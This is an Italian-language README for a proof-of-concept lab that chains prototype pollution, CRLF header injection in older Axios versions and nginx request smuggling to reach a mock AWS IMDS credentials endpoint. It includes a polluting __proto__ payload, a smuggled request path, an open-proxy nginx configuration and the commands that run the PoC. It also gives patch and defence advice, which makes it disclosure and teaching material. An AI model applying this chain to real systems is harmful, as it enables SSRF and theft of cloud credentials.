
Proof-of-concept che dimostra l'iniezione CRLF e lo smuggling di richieste HTTP in Axios, concatenando la pollution del prototipo per ottenere SSRF e accedere a servizi interni come IMDS.
Vulnerabilità di iniezione CRLF causata dal fatto che AxiosHeaders.set() del client HTTP Axios (>=1.0.0 <1.15.0, <0.31.0) non valida \r\n all'interno dei valori degli header.
Se un attaccante combina questa vulnerabilità con una Prototype Pollution (lodash, qs, ecc.) o inietta direttamente CRLF negli header, è possibile effettuare SSRF verso server interni arbitrari attraverso un layer intermedio come un open proxy nginx.
| Elemento | Contenuto |
|---|
| CVSS | 9.9 (Critical) |
| Versioni impattate | axios >=1.0.0 <1.15.0, axios <0.31.0 |
| Versioni corrette | 1.15.0, 0.31.0 |
| CWE | CWE-93 Improper Neutralization of CRLF Sequences |
lib/core/AxiosHeaders.js AxiosHeaders.set()
└─ normalizeValue()
└─ /[\r\n]+$/ rimuove solo i CRLF finali
↑ i \r\n nel mezzo del valore passano inalterati
Di conseguenza, inserendo \r\n\r\nGET /admin HTTP/1.1\r\n... nel valore di un header, una seconda richiesta HTTP viene inclusa direttamente nello stream TCP.
Ogni oggetto in JavaScript eredita da Object.prototype. La Prototype Pollution è un attacco che inquina questo prototipo condiviso, influenzando tutti gli oggetti creati successivamente.
Object.prototype.isAdmin = true;
const user = {};
user.isAdmin; // true ← non dichiarato ma presente
Si verifica quando una funzione merge ricorsiva vulnerabile (lodash < 4.17.21, qs, ecc.) non gestisce in modo speciale la chiave "__proto__".
function vulnerableMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
vulnerableMerge(target[key], source[key]);
// quando key = "__proto__":
// target["__proto__"] → restituisce Object.prototype
// → vulnerableMerge(Object.prototype, source["__proto__"])
// → iniezione diretta di proprietà in Object.prototype
} else {
target[key] = source[key];
}
}
}
// JSON dell'attaccante: __proto__ viene parsato come own property
const payload = JSON.parse('{"__proto__":{"headers":{"X-Smuggle":"evil\\r\\n..."}}}');
vulnerableMerge({}, payload);
({}).headers; // { 'X-Smuggle': 'evil\r\n...' } ← inquinamento riuscito
Object.prototype.headers = { 'X-Smuggle': 'evil\r\n...' }
↓
codice app: const opts = {};
opts.headers → catena di prototipi → restituisce l'oggetto inquinato
↓
axios.get(url, { headers: opts.headers, adapter: rawSocketAdapter })
↓
AxiosHeaders.set('X-Smuggle', 'evil\r\n...') ← nessuna validazione CRLF
↓
richiesta smuggled inclusa nello stream TCP
Inquinare Object.prototype.headers influisce anche sugli oggetti schema interni di axios.
alla chiamata di assertOptions(config, schema)
schema['headers'] → catena di prototipi → restituisce l'oggetto inquinato
validator(value) → chiama l'oggetto come funzione → TypeError
In un attacco reale è necessario controllare con precisione l'ambito dell'inquinamento; un inquinamento esteso può far crashare l'app stessa prima dell'attacco previsto (effetto collaterale DoS).
[1] Iniezione diretta di header o Prototype Pollution (tramite libreria merge vulnerabile)
↓
[2] axios serializza il valore contenente CRLF come header senza validazione
↓
[3] scrittura nello stream TCP tramite net.Socket raw
(il modulo http standard di Node.js lo blocca a runtime → serve un adapter custom)
↓
[4] nginx (proxy_pass http://$http_host) separa e parsifica come 2 richieste
↓
[5] la richiesta smuggled viene instradata verso un altro upstream in base all'header Host (SSRF)
↓
[6] accesso a server interni (IMDS, ecc.) → furto di credenziali
| Condizione | Contenuto |
|---|---|
| Bypass del modulo http di Node.js | uso di un adapter custom basato su net.Socket |
| Open proxy nginx | configurazione proxy_pass http://$http_host |
ignore_invalid_headers on | consente header anomali |
Direttiva resolver | consente la risoluzione dinamica degli hostname |
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ │
│ test-axios-adapter-*.js │
│ (net.Socket raw → nginx:8080) │
│ │
│ browser → exploit.html (3003) │
│ → relay (3004) → socket raw → nginx:8080 │
└────────────────────┬────────────────────────────────────┘
│ Docker bridge (cve-net)
┌──────────┼──────────┬──────────────┐
▼ ▼ ▼ ▼
backend nginx imds (futuro)
:3001 :8080 :80
:3003 (mock 169.254.169.254)
:3004
| Porta | Servizio | Ruolo |
|---|---|---|
| 3001 | backend | ricezione richieste HTTP / logging header |
| 3003 | backend | server statico per exploit.html |
| 3004 | backend | relay — conversione POST del browser → net.Socket |
| 8080 | nginx | open proxy (proxy_pass http://$http_host) |
| 80 (interno) | imds | server mock AWS IMDSv2 |
# build e avvio di tutti i container
docker compose up --build
# test Node.js (eseguiti sull'host)
npm install
# 1. backend diretto — 2 richieste generate tramite iniezione CRLF
node poc/test-axios-adapter-backend.js
# 2. tramite nginx — la richiesta smuggled viene instradata verso backend:3001
node poc/test-axios-adapter-nginx.js
# 3. Prototype Pollution → Iniezione CRLF → catena SSRF
node poc/test-prototype-pollution.js
# 4. browser — http://localhost:3003
# selezione del target: backend diretto / tramite nginx / nginx → IMDS (SSRF)
1. selezionare nginx → IMDS ed eseguire l'Adapter Custom
2. richiesta smuggled: GET /latest/meta-data/iam/security-credentials/my-ec2-role
Host: imds
3. nginx instrada verso host=imds → inoltra al server mock IMDSv2
4. log del container imds: [!!!] furto di credenziali riuscito!
.
├── docker-compose.yml
├── Dockerfile.backend # container backend + relay
├── Dockerfile.imds # container mock IMDSv2
├── package.json # [email protected] (versione vulnerabile bloccata)
└── poc/
├── backend-server.js # server HTTP (3001), relay (3004), server statico (3003)
├── mock-imds.js # mock AWS IMDSv2 (PUT /token, GET /credentials)
├── nginx-container.conf # configurazione open proxy
├── exploit.html # PoC browser (XHR vs Custom Adapter)
├── test-axios-adapter-backend.js # socket raw → backend diretto
├── test-axios-adapter-nginx.js # socket raw → nginx → backend/imds
├── test-axios-no-adapter.js # axios standard (per verificare il blocco di Node.js)
└── test-prototype-pollution.js # catena Prototype Pollution → Iniezione CRLF
resolver 127.0.0.11 valid=30s; # DNS interno Docker
location / {
proxy_pass http://$http_host; # instradamento dinamico basato sull'header Host = SSRF
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $http_host;
}
location /public {
proxy_pass http://backend:3001; # upstream fisso per richieste legittime
}
Poiché $http_host (inclusa la porta) viene usato come upstream, l'header Host della richiesta smuggled diventa direttamente la destinazione dell'instradamento.
npm install axios@^1.15.0
La patch (1.15.0) introduce assertValidHeaderValue() che rifiuta immediatamente i valori contenenti CR/LF.
Difese aggiuntive:
proxy_pass http://$http_host in nginx → usare upstream fissiHttpTokens: required)